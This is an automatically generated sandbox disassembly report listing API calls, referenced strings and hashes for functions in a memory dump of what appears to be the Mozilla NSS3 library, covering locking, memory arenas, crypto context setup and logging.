Instruction Fuzzy Hash: 305105B5D00644AFEB009F64EC448AA7778FF1A318B148520EC5C97B12F731E965C7E2

Function 6CB97C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE2120,6CB97E60,00000000,?,?,?,?,6CC1067D,6CC11C60,00000000), ref: 6CB97C81

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

TlsGetValue.KERNEL32 ref: 6CB97CA0
EnterCriticalSection.KERNEL32(?), ref: 6CB97CB4
PR_Unlock.NSS3 ref: 6CB97CCF

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

TlsGetValue.KERNEL32 ref: 6CB97D04
EnterCriticalSection.KERNEL32(?), ref: 6CB97D1B
realloc.MOZGLUE(-00000050), ref: 6CB97D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB97DF4
PR_Unlock.NSS3 ref: 6CB97E0E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: d26a37d0d33ab316e971094a00cd0bbc26fdf6589b40198ce28029c677904ac7
Instruction ID: b85200b88f6bae16087f65f162bbae801fda5a72fb06d240bd3b2e0dadfa646a
Opcode Fuzzy Hash: d26a37d0d33ab316e971094a00cd0bbc26fdf6589b40198ce28029c677904ac7
Instruction Fuzzy Hash: 9551D1B1A041519FEF009F28DC44B6577F5EF5B318F26413AED04A7722EBB0D950CA92

Function 6CB04C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04D97
PR_Lock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DBA
PR_WaitCondVar.NSS3 ref: 6CB04DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04DEF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 110f73de5c1782ec1f6e161feaee4a67a536dbddf7820e2fd31a377a67753cd0
Instruction ID: a14fc52fdb4f1570716f8bb0716d2c98c5b4af2dbdc441214df9ba4e89079cea
Opcode Fuzzy Hash: 110f73de5c1782ec1f6e161feaee4a67a536dbddf7820e2fd31a377a67753cd0
Instruction Fuzzy Hash: 1A417BB1A14A95CFCB10AF7CD484159BBB8FF1A314F058669D888DB711EB30E894CF92

Function 6CB0F880 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001158E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0FB69

Part of subcall function 6CC393E0: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC39419

memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F8FC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0F93E
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0FA44
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0FA66
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB0FB3A
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0FC01

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0FB2A, 6CB0FB47, 6CB0FB53, 6CB0FCAE
%s at line %d of [%.10s], xrefs: 6CB0FB62
database corruption, xrefs: 6CB0FB5D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$_byteswap_ulong$_byteswap_ushortmemsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1835766639-598938438
Opcode ID: cc0acea8fea95f0590cf7a0032dc76ee97d4695532fe260c0a6747f9797cabc8
Instruction ID: b55e85e6771241b4f74929d2efa78908ec55928fbd2bcad9d55e6239b6fbd883
Opcode Fuzzy Hash: cc0acea8fea95f0590cf7a0032dc76ee97d4695532fe260c0a6747f9797cabc8
Instruction Fuzzy Hash: 93D13371F006599FDB04CFA9C890AEEBBB1FF48314F188129E819B7750E735A905CBA5

Function 6CC97CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC97CE0

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97D36
PR_Realloc.NSS3(?,00000080), ref: 6CC97D6D
PR_GetCurrentThread.NSS3 ref: 6CC97D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CC97DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97DD8
malloc.MOZGLUE(00000080), ref: 6CC97DF8
PR_GetCurrentThread.NSS3 ref: 6CC97E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CC97DF0
:%s:%d:0x%lx, xrefs: 6CC97DB9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 71680e09728104946ce0665450aa90ed3b3f4ee20a14e7bb34e0244b8a5e6264
Instruction ID: f1726e6d78d702f410ca7385ba1e85c6afbc6c073d0b8c573c4acd1bf30c43b7
Opcode Fuzzy Hash: 71680e09728104946ce0665450aa90ed3b3f4ee20a14e7bb34e0244b8a5e6264
Instruction Fuzzy Hash: C941D9B29012019FDB04CF29CC80A6B37B6FF84318B25856CE8199BB61F731ED51D7A1

Function 6CC97E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CC97E46

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CC97EAF
PR_ImportFile.NSS3(?), ref: 6CC97ECF
PR_GetCurrentThread.NSS3 ref: 6CC97ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CC97F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CC97F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CC97F15

Strings

%d:0x%lx, xrefs: 6CC97EA9
NSPR_INHERIT_FDS, xrefs: 6CC97E41

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: d1269c714effbf892a9415eef0ca01876cb99c2d3dc1e33f4806073a2b6735da
Instruction ID: ff011ee5278c90abdaf246dbb8ecb63746f911c43bbafd2c1a5976b3e5437c92
Opcode Fuzzy Hash: d1269c714effbf892a9415eef0ca01876cb99c2d3dc1e33f4806073a2b6735da
Instruction Fuzzy Hash: E6314470E01119CFEB009BAAC841AAFB7B9FF05348F104565D806E3A11F771DD04D792

Function 6CBCECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CBCDE64), ref: 6CBCED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCED22

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PL_FreeArenaPool.NSS3(?), ref: 6CBCED4A
PL_FinishArenaPool.NSS3(?), ref: 6CBCED6B
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBCED38

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CBCED52
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBCED83
PL_FreeArenaPool.NSS3(?), ref: 6CBCED95
PL_FinishArenaPool.NSS3(?), ref: 6CBCED9D

Part of subcall function 6CBE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBE127C,00000000,00000000,00000000), ref: 6CBE650E

Strings

security, xrefs: 6CBCED06

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 73bbc61578522cb584bc47ec566ef742d852df05538fa8e008ab3537a8f29814
Instruction ID: 85ba84b4467c0b6ebe8deed775ee4a79e47926d0e7f52ee9afd1d8590ad50d5c
Opcode Fuzzy Hash: 73bbc61578522cb584bc47ec566ef742d852df05538fa8e008ab3537a8f29814
Instruction Fuzzy Hash: 73118C76B002E8A7E6205725AC42BBF7378AF06B4CF050828E81173E41FB20A50CD6E7

Function 6CC90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB72357), ref: 6CC90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB72357), ref: 6CC90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC90EE6

Part of subcall function 6CC909D0: PR_Now.NSS3 ref: 6CC90A22
Part of subcall function 6CC909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC90A35
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC90A66
Part of subcall function 6CC909D0: PR_GetCurrentThread.NSS3 ref: 6CC90A70
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC90A9D
Part of subcall function 6CC909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC90AC8
Part of subcall function 6CC909D0: PR_vsmprintf.NSS3(?,?), ref: 6CC90AE8
Part of subcall function 6CC909D0: EnterCriticalSection.KERNEL32(?), ref: 6CC90B19
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC90B48
Part of subcall function 6CC909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC90C76
Part of subcall function 6CC909D0: PR_LogFlush.NSS3 ref: 6CC90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC90EFA

Part of subcall function 6CB7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC90ED9, 6CC90EE5, 6CC90F06, 6CC90F0B
Aborting, xrefs: 6CC90EB3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17041ab4b72eb09c6669ff6ae96c08d8e5f3b78a1c430c15e12419dd0fdebf2b
Instruction ID: 8d5d0681d23990df723bd2a2704f82934c0e43c4096fd8dd196d9a763d2eefc1
Opcode Fuzzy Hash: 17041ab4b72eb09c6669ff6ae96c08d8e5f3b78a1c430c15e12419dd0fdebf2b
Instruction Fuzzy Hash: 11F062B59001147BEE017FA0DC4AC9B3F3DDF86664F044464FD0956602EA36F914D6B3

Function 6CBF4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBF4DCB

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBF4DE1

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBF4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBF4E59

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCB300C,00000000), ref: 6CBF4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBF4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBF4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF521A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: e657885bb7f1e6946ffef86bb85fc8c5b3deca9091996df122d6a40546673935
Instruction ID: 51182a398940c811b7db78a539416d6a77ceb50f01e3f5263246adb6ced09aa6
Opcode Fuzzy Hash: e657885bb7f1e6946ffef86bb85fc8c5b3deca9091996df122d6a40546673935
Instruction Fuzzy Hash: B9F19E71E00249CBDB08CF54D8407ADB7B2FF49358F258129D929AB781E735E98ACF91

Function 6CBF0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBF2C2A), ref: 6CBF0C81

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

Part of subcall function 6CBC8500: SECOID_GetAlgorithmTag_Util.NSS3(6CBC95DC,00000000,00000000,00000000,?,6CBC95DC,00000000,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0CC4

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBF0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBF0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBF0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBF0D7D
free.MOZGLUE(00000000), ref: 6CBF0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0DC1
free.MOZGLUE(00000000), ref: 6CBF0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBF0E0F

Part of subcall function 6CBC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC95E0
Part of subcall function 6CBC95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBC95F5
Part of subcall function 6CBC95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CBC9609
Part of subcall function 6CBC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBC961D
Part of subcall function 6CBC95C0: PK11_GetInternalSlot.NSS3 ref: 6CBC970B
Part of subcall function 6CBC95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBC9756
Part of subcall function 6CBC95C0: PK11_GetIVLength.NSS3(?), ref: 6CBC9767
Part of subcall function 6CBC95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CBC977E
Part of subcall function 6CBC95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBC978E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 6e123a43d4d7e879d6958617ac2283b96757aeb5568bbe7f03f7c30f4968b2c7
Instruction ID: b0d57fb7d48a55a279fa696d0155a2c501e315861bc79087ffa67b35820af6ee
Opcode Fuzzy Hash: 6e123a43d4d7e879d6958617ac2283b96757aeb5568bbe7f03f7c30f4968b2c7
Instruction Fuzzy Hash: 6C41C2B5900296ABEB009F64EC41BAF7674EF04348F144028ED2567751EB35FA59CBF2

Function 6CB84FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB8502A
PR_NewLock.NSS3(00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB85034
PL_NewHashTable.NSS3(00000000,6CBDFE80,6CBDFD30,6CC2C350,00000000,00000000,00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB85055
PL_NewHashTable.NSS3(00000000,6CBDFE80,6CBDFD30,6CC2C350,00000000,00000000,?,00000001,00000000,6CCD0148,?,6CB96FEC), ref: 6CB8506D

Memory Dump Source

